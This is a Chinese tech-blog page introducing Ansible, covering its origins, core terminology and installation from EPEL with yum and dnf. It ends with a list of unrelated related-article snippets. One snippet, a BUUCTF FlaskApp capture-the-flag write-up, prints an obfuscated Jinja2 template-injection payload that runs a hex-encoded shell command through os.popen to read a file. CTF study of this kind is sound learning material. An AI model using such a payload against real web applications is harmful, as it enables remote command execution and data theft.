Ansible介绍与安装

Ansible目前是运维自动化工具中最简单、容易上手的一款优秀软件,能够用来管理各种资源。用户可以使用Ansible自动部署应用程序,以此实现IT基础架构的全面部署。例如,借助于Ansible,我们可以轻松地对服务器进行初始化配置、安全基线配置,以及进行更新和打补丁操作。相较于Chef、Puppet、SaltStack等C/S(客户端/服务器)架构的自动化工具来讲,尽管Ansible的性能并不是最好的,但由于它基于SSH远程会话协议,不需要客户端程序,只要知道受管主机的账号密码,就能直接用SSH协议进行远程控制,因此使用起来优势明显。

2012年2月,程序员Michael DeHaan发布了Ansible的第一个版本。Michael DeHaan在配置管理和架构设计方面拥有丰富的经验,他此前[红帽]公司任职时,就研发了Cobbler自动化系统安装工具。在就职于[红帽]公司的期间,他被各种自动化软件折磨了好久,最终决定自己打造一款集众多软件的优点于一身的自动化工具。Ansible由此诞生。由于Ansible实在太好用了,以至于它在GitHub上的star和fork数量是SaltStack的两倍多,这足以看出受欢迎的程度。2015年,Ansible正式被[红帽]公司收购,其发展潜力更是不可估量。

使用自动化运维工具,可以肉眼可见地提高运维人员的工作效率,并减少人为错误。Ansible服务本身并没有批量部署的功能,它仅仅是一个框架,真正具有批量部署能力的是其所运行的模块。Ansible内置了上千个模块,会在安装Ansible时一并安装,通过调用指定的模块,就能实现特定的功能。Ansible内置的模块非常丰富,几乎可以满足一切需求,使用起来也非常简单,一条[命令]甚至影响上千台主机。如果需要更高级的功能,也可以运用Python语言对Ansible进行二次开发。

当前,Ansible已经被Amazon、Google、Microsoft、Cisco、HP、VMware、Twitter等大科技公司接纳并投入使用。[红帽]公司更是对自家产品进行了不遗余力的支持。从2020年8月1日起,[RHCE]考试的内容由配置多款服务转变成Ansible专项考题内容。现在,要想顺利拿到[RHCE]认证,真的有必要好好学习一下本章了。

在正式介绍Ansible之前,我们先普及一下相关的专用术语,好让大家对术语有统一的理解,以便在后续实验时能直奔主题。这里整理的与Ansible相关的专用术语如表16-1所示。

表16-1 Ansible服务专用术语对照表

术语中文叫法含义
Control node控制节点指的是安装了Ansible服务的主机,也被称为Ansible控制端,主要是用来发布运行任务、调用功能模块,对其他主机进行批量控制。
Managed nodes受控节点指的是被Ansible服务所管理的主机,也被称为受控主机或客户端,是模块[命令]的被执行对象。
Inventory主机清单指的是受控节点的列表,可以是IP地址、主机名称或者域名。
Modules模块指的是上文提到的特定功能代码,默认自带有上千款功能模块,在Ansible Galaxy有超多可供选择。
Task任务指的是Ansible客户端上面要被执行的操作。
Playbook剧本指的是通过YAML语言编写的可重复执行的任务列表,把常做的操作写入到剧本文件中,下次可以直接重复执行一遍。
Roles角色从Ansible 1.2版本开始引入的新特性,用于结构化的组织Playbook,通过调用角色实现一连串的功能。

由于受控节点不需要安装客户端,外加SSH协议是[Linux系统]的标配,因此可以直接通过SSH协议进行远程控制。在控制节点上,也不用每次都重复开启服务程序,使用ansible[命令]直接调用模块进行控制即可。

RHEL 8系统的镜像文件默认不带有Ansible服务程序,需要从Extra Packages for Enterprise [Linux](EPEL)扩展软件包仓库获取。EPEL软件包仓库由红帽公司提供,是一个用于创建、维护和管理企业版Linux的高质量软件扩展仓库,通用于RHEL、[CentOS]、Oracle Linux等多种红帽系企业版系统,目的是对于默认系统仓库软件包进行扩展。

下面准备在系统上部署Ansible服务程序。

第1步:检查是否可以连接外部网络了。如果不放心,可以通过ping命令进行测试。

[root@localhost ~]# ping -c 4 www.baidu.com

第2步:安装EPEL源,EPEL是一个由Fedora社区维护的额外软件包源,包含了许多CentOS默认源中没有的软件包。

[root@localhost ~]# yum install -y epel-release dnf

第3步:安装!

[root@localhost ~]# dnf install -y ansible
………………省略部分输出信息…………

安装完毕后,Ansible服务便默认已经启动。使用--version参数可以看到Ansible服务的版本及配置信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/221255.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IDEA中显示方法、类注释信息

目录 一、IDEA测试版本及环境二、操作步骤2.1 鼠标悬停在某一个方法上,从而显示方法的注释信息2.2 调用方法时同步显示方法注释信息2.3 在new一个对象时,这个对象有很多重载的构造方法,想要重载的构造函数都显示出来 一、IDEA测试版本及环境 …

LeetCode刷题--- 二叉搜索树中第K小的元素

个人主页:元清加油_【C】,【C语言】,【数据结构与算法】-CSDN博客 个人专栏 力扣递归算法题 【 http://t.csdnimg.cn/yUl2I 】【C】 【 http://t.csdnimg.cn/6AbpV 】数据结构与算法 【 http://t.csdnimg.cn/hKh2l 】 前言&#…

在IDEA中配置Git的Push键

前言 笔者在重新安装IDEA过程中需要重新绑定了Git,发现提交代码过程中push键消失了,所以笔者就以这篇文章记录一下Git配置push键的详细过程。 注意笔者当前IDEA版本为2019,可能和读者有所区别,但是操作思路是差不多的。 操作步…

推荐域名销售管理系统网站源码

域名销售管理系统网站源码是一个完整的网站开发项目,包含了域名销售管理的各项功能,如域名搜索、购买、转让、续费等。源码采用了先进的技术和设计,能够满足用户的各种需求,是一个高效、稳定的域名销售管理系统。 演示地 址 &…

使用ThreadLocal.withIniti避免初始化为null问题

问题描述 我们在使用threadLocal的时,使用ThreadLocal.withInitial去初始化而不是使用new ThradLocal去初始化,这是为什么呢? 问题例子 比如说,假设我们想要在每个线程中维护一个独立的计数器 import java.util.concurrent.at…

【EI会议征稿】第五届机械仪表与自动化国际学术会议(ICMIA 2024)

第五届机械仪表与自动化国际学术会议(ICMIA 2024) The 5th International Conference on Mechanical Instrumentation and Automation 2024年第五届机械仪表与自动化国际学术会议(ICMIA 2024)定于2024年4月5-7日在中国武汉隆重…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

【数据结构】栈和队列超详解!(Stack Queue)

文章目录 前言一、栈1、栈的基本概念2、栈的实现(数组实现)3、栈的基本操作3.1 栈的结构设计3.2 栈常见的基本函数接口 4、栈的实现4.1 初始化栈4.2 栈的销毁4.3 入栈4.4 出栈4.5 判空4.6 长度4.7 获取栈顶元素 完整代码Stack.hStack.cTest.c 二、队列1、…

HTTP 500错误:服务器内部错误,原因及解决方案

大家好,今天我们来聊聊一个常见的问题——HTTP 500错误,也就是服务器内部错误。这个错误就像是一个神秘的魔法,时不时地出现在你的网页上,让你的用户和你在一片懵逼中互相猜疑。 首先,我们来了解一下这个错误。HTTP 5…

大力说企微入门系列第四课:规则设计

当公司的企业微信体系建立起来以后,相应的人员、角色、权限已经配置,接下来是否就可以开始进入运营阶段那。 理论上来说是可以的,但是可能会引起混乱。所谓没有规矩不成方圆,要想运营顺利,还需要一些规则的设计。 01…

查找两个总和为特定值的索引(蓝桥杯)

#include <stdio.h> int main(){int n;scanf("%d",&n);int s[n];for(int i 0 ; i < n ; i)scanf("%d",&s[i]);int k;scanf("%d",&k);int sum 0;int t0,h;int st[101]; for(int i 0 ; i < n ; i)st[i] 0; //标记数…

垃圾回收 (GC) 在 .NET Core 中是如何工作的?

提起GC大家肯定不陌生&#xff0c;但是让大家是说一下GC是怎么运行的&#xff0c;可能大多数人都不太清楚&#xff0c;这也很正常&#xff0c;因为GC这东西在.NET基本不用开发者关注&#xff0c;它是依靠程序自动判断来释放托管堆的&#xff0c;我们基本不需要主动调用Collect(…

【论文阅读】O’Reach: Even Faster Reachability in Large Graphs

Hanauer K, Schulz C, Trummer J. O’reach: Even faster reachability in large graphs[J]. ACM Journal of Experimental Algorithmics, 2022, 27: 1-27. Abstract 计算机科学中最基本的问题之一是可达性问题&#xff1a;给定一个有向图和两个顶点s和t&#xff0c;s可以通过…

C++进阶学习:map和set的实现

我们知道set和map的底层其实是红黑树&#xff0c;在学习完红黑树这个数据结构之后&#xff0c;我们开始简单模拟实现一下这两个STL容器 目录 1.set和map的泛型编程思想 2.红黑树的结构 2.1.迭代器的实现 2.2.迭代器的 operator 2.3.迭代器的代码 2.4.set和map迭…

资产管理系统部署及库存告警

1.需求&#xff1a;对电脑&#xff0c;办公设备&#xff0c;耗材等做资产盘点和整理&#xff0c;并对库存预警。 2.选型&#xff1a;snipeit 3.部署 #!/bin/bash docker run -d -p 80:80 --name"snipeit" --env-filesnipeit.env --mount sourcesnipe-vol,dst/var/l…

【算法系列篇】递归、搜索和回溯(三)

文章目录 前言什么是二叉树剪枝1. 二叉树剪枝1.1 题目要求1.2 做题思路1.3 代码实现 2. 验证二叉搜索树2.1 题目要求2.2 做题思路2.3 代码实现 3. 二叉搜索树中第k小的元素3.1 题目要求3.2 做题思路3.3 代码实现 4. 二叉树的所有路径4.1 题目要求4.2 做题思路4.3 代码实现 前言…

(八)数组和函数实践:扫雷游戏

目录 1. 扫雷游戏分析和设计 1.1 扫雷游戏的功能说明 1.2 游戏的分析和设计 1.2.1 数据结构的分析 1.2.2 文件结构设计 2. 扫雷游戏的代码实现 3. 如何生成用户版本 4. 完整的排雷程序 1. 扫雷游戏分析和设计 1.1 扫雷游戏的功能说明 1&#xff09;使用控制台实现经典…

数据结构和算法-栈

数据结构和算法-栈 文章目录 数据结构和算法-栈1. 栈的介绍2. 栈的应用场景3. 栈的快速入门3.1 用数组模拟栈3.2 课堂作业-用链表模拟栈 4. 栈实现综合计算器4.1 课堂作业-加入小括号5. 栈的三种表达式-**前缀、中缀、后缀表达式(逆波兰表达式)**5.1 前缀表达式(波兰表达式)5.1…

中低压MOS 适用于电子烟等产品—— 较小的开关损耗 过流能力好

工作原理&#xff1a; 当用户在吸嘴处抽吸时&#xff0c;气流经过进气孔&#xff0c;穿 过电路板上方的咪头&#xff0c;咪头即产生电信号&#xff0c;驱 动芯片板&#xff0c;让电池供电给雾化芯&#xff0c;雾化芯中的 发热丝将电能转化成热能&#xff0c;当温度达到雾化液…

LeetCode-2487. 从链表中移除节点【栈 递归 链表 单调栈】

LeetCode-2487. 从链表中移除节点【栈 递归 链表 单调栈】 题目描述&#xff1a;解题思路一&#xff1a;可以将链表转为数组&#xff0c;然后从后往前遍历&#xff0c;遇到大于等于当前元素的就入栈&#xff0c;最终栈里面的元素即是最终的答案。解题思路二&#xff1a;递归&am…